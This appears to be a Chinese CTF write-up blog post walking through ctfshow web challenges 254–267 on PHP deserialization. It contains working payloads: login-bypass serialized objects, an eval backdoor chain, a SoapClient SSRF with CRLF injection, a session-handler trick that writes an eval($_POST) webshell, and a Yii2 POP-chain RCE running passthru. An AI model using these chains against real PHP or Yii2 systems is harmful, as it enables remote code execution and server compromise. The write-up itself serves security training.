ctfshow 反序列化 254~

参考:
https://y4tacker.blog.csdn.net/article/details/113588692

web 254

如果username全等于我们传进去的值相同,则返回true,并返回flag
在这里插入图片描述
?username=xxxxxx&password=xxxxxx

web 255

user是一个反序列化,可以传一个类的序列化。
根上题一样,不过checkVI中的isVIP值需要我们自己设一个true
在这里插入图片描述
在这里插入图片描述

?username=xxxxxx&password=xxxxxx

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web 256

只要username不等于password,其他和上面一样

class ctfShowUser{
    public $username='xxxxxx';
    public $password='123456';
    public $isVip=true;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$a= new ctfShowUser();
echo urlencode(serialize($a));

web 257

利用链为ctfShowUser::__destruct —> backDoor::getInfo
再把$class指向backDoor,backDoor中的code改一下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    /*
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
    */

}
/*
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
*/

class backDoor{
    private $code='system("ls /");';
    public function getInfo(){
        eval($this->code);
    }
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

/*
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

*/
?>

web 258

同上,但是多了个过滤。
这过滤了,o或c:数字,这种格式的字符串
在这里插入图片描述
绕过:
例如O:11,变为O:+11

web 259

这题没有现成的类,所以我们可以用原生类来反序列化,构造ssrf,访问flag.php,并生成flag.txt。
详细了解可以到y4师傅的php讲解里面看,结合本地试试。

综述:

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。

必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。

通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
----------------------------------------
原文链接:https://blog.csdn.net/solitudi/article/details/113588692

我们通过一个例子来看一下:

```php
<?php
$a = new SoapClient(null,array('user_agent'=>'succ3\r\nContent-Type:application/x-www-form-urlencoded','uri'=>'bbb', 'location'=>'http://xxx.xxx.xxx.xxx:9328'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call
?>

通过请求头我们可以详细的看到我们通过改user_agent的值并添加\r\n换行来构造我们的pop

Connection received on LAPTOP-LI8JDAVV.mshome.net 55947
POST / HTTP/1.1
Host: xxx.xxx.xx.xx:9328
Connection: Keep-Alive
User-Agent: succ3
Content-Type:application/x-www-form-urlencoded
Content-Type: text/xml; charset=utf-8
SOAPAction: "bbb#not_a_function"
Content-Length: 377

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="bbb" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:not_a_function/></SOAP-ENV:Body></SOAP-ENV:Envelope>

这题已经帮我们调用一个不存在的方法名getFlag,会自动调用原生类中的__call函数。

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

//x-forworded-for:127.0.0.1
if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

我们通过以构造脚本来看:
Content-length:13使得请求头读到token=ctfshow这边就结束了不在读了。

<?php

$a = new SoapClient(null,
    array(
        'user_agent' => "succ\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",
        'uri' => 'succ',
        'location' => 'http://127.0.0.1/flag.php'
    )
);
$b = serialize($a);
#$c = unserialize($b);
#$c->not_a_function();//调用不存在的方法,让SoapClient调用__call
echo urlencode($b);

web 260

serialize只会序列化类

ctfshow=ctfshow_i_love_36D

web 261

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct(){
        $this->username="877.php";
        $this->password="<?php phpinfo();?>";
    }
    /*
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
    //把类当成函数掉用的时候,调用此方法,这边用不到
        eval($this->code);
    }

    public function __sleep(){
    //执行序列化的时候调用此方法。
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
    //反序列化的时候调用,并且且不执行同一个类中的wakeup魔术方法。
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
        //弱类型比较877a==0x36d
            file_put_contents($this->username, $this->password);
        }
    }
    */
}

$a=new ctfshowvip();
echo urlencode(serialize($a));
//unserialize($_GET['vip']);
?>

web 262

反序列化字符自增逃逸

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
    public $token;
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$a=new message();
echo urlencode(serialize($a));

/*
添加的27个字符:";s:5:"token";s:5:"admin";}
原序列化:s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
*/

/*
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
*/

/*
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
*/

根据message.php的内容,再序列化后要使得token的值为admin

也就是";s:5:"token";s:5:"admin";}一共27个字符,而在index.php种会把fuck替换为loveu,也就是4个字符边五个字符,多一个字符。所以我要加27个fuck。

序列化
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"【c";s:5:"token";s:5:"admin";}
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:xxx:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}】c";s:5:"token";s:5:"admin";}
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:xxx:"loveu*27";s:5:"token";s:5:"admin";}        c";s:5:"token";s:5:"admin";}
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web 263

本题是session反序列化

session反序列化

具体例题分析

Directive含义
session.save_pathsession保存路径。
session.serialize_handlersession序列化存储所用处理器。默认为php。
session.upload_progress.cleanup一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled将上传文件的进度信息存在session中。默认开启。

我们先通过一个样例代码,看看3种不同的 session 序列化处理器处理 session 的情况。

<?php
session_start();
$_SESSION['name'] = 'mochazz';
?>

session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";

session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}

session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";

而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞

php引擎会以|作为作为key和value的分隔符,我们在传入内容的时候,比如传入:
$_SESSION['name'] = '|username'

那么使用php_serialize引擎时可以得到序列化内容

a:1:{s:4:"name";s:4:"|username";}

在由php引擎反序列化的时候

a:1:{s:4:"name";s:4:"被当作key
username被当作value反序列化

源码分析

读取session键为limit的值,如果没有超过5,则通过cookie赋值session,所以session值是可控的,因为cookie是可控的,所以可能会产生session反序列化或者session文件包含。且会在check.php中在判断一下。

<?php
#index.php
	error_reporting(0);
	session_start();	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

因为chech.php这边包含了inc.php,且因为其中的ini_set('session.serialize_handler', 'php');设置序列化引擎为php,也就是说php.ini里面的默认引擎应该为php_serialize

<?php
#chek.php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
		]
	]);
	if($data['id']){
		//登陆成功取消次数累计
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
		#意思应该是在username处序列化
	}else{
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陆失败"));
	}
}

在inc.php中可以利用user类写入shell文件,又因为check.php是包含inc.php文件的所以,check.php自然也session_start();

#inc.php
session_start();
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password =  $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

攻击思路

先把序列化payload写出来

<?php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password =  $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
}
$a = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
echo serialize($a)."<br>";
echo base64_encode('|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:6:"status";N;}')
?>

在index.php中修改cookie中的值为我们的base64编码后的payload,这样我们的shell已经上传了,但是还是需要user类存在,所以我们还要到check.php传一次,用来反序列化session,这样我们的shell文件就创建成功了,最后访问log-1.php,getshell就行了。

为什么还要在check.php里面传一次呢?
因为我们是通过user类来创建shell文件,只有check.php包含了inc.php,所以在check.php里面传一次,只是为了调用反序列化的时候能够调用user类罢了。

264

反序列化自增逃逸,不是session反序列化,因为这边的session不可控。
和262的payload一样,唯一的不同在于这边是写入session里面,然后会在message.php里面解码并反序列化,拿flag

<?php
error_reporting(0);
session_start();
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);
<?php
#message.php
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

在首页传入,在message.php页面运行。

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

265

赋地址

token是随机的,要想password全等于token,可以让password指向token的地址,地址相同,值自然也相同。

注意题目中的__construct是不会调用的,只有创建对象的时候才会调用它。

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

paylaod:

<?php

error_reporting(0);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){
        $this->password = &$this->token;
    }

}

$a = new ctfshowAdmin();
echo serialize($a);
O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}

266

file_get_contents('php://input');是执行post

PHP里面函数不区分大小写,类也不区分大小写,只有变量名区分,所以我们在反序列化后大小写转换一下就可以了。

<?php
highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

直接构造,然后大小写绕过

<?php
class ctfshow{
}

echo serialize(new Ctfshow());

不要用hackbar传,因为hackbar传post必须是xx=xxx的格式

burpsuit传post:O:7:"Ctfshow":0:{}

267

在这里插入图片描述
可以看到是2.0版本
在这里插入图片描述
弱密码admin,admin登录。
在page页面,可以看到一个参数
在这里插入图片描述
加入参数

/index.php?r=site%2Fabout&view-source

先用别人的poc打一下

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flag';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7czo0OiJheGluIjthOjE6e3M6MjoiaXMiO3M6ODoiaGFuZHNvbWUiO319czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBwYXRoIjtPOjQyOiJwaHBEb2N1bWVudG9yXFJlZmxlY3Rpb25cRG9jQmxvY2tcVGFnc1xTZWUiOjE6e3M6MTQ6IgAqAGRlc2NyaXB0aW9uIjtPOjE1OiJGYWtlclxHZW5lcmF0b3IiOjE6e3M6MTM6IgAqAGZvcm1hdHRlcnMiO2E6MTp7czo2OiJyZW5kZXIiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToiY2F0IC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19fQ==

最终payload

/index.php?r=backdoor/shell&code=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7czo0OiJheGluIjthOjE6e3M6MjoiaXMiO3M6ODoiaGFuZHNvbWUiO319czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBwYXRoIjtPOjQyOiJwaHBEb2N1bWVudG9yXFJlZmxlY3Rpb25cRG9jQmxvY2tcVGFnc1xTZWUiOjE6e3M6MTQ6IgAqAGRlc2NyaXB0aW9uIjtPOjE1OiJGYWtlclxHZW5lcmF0b3IiOjE6e3M6MTM6IgAqAGZvcm1hdHRlcnMiO2E6MTp7czo2OiJyZW5kZXIiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToiY2F0IC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19fQ==&view-source

先去学一波yii框架

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值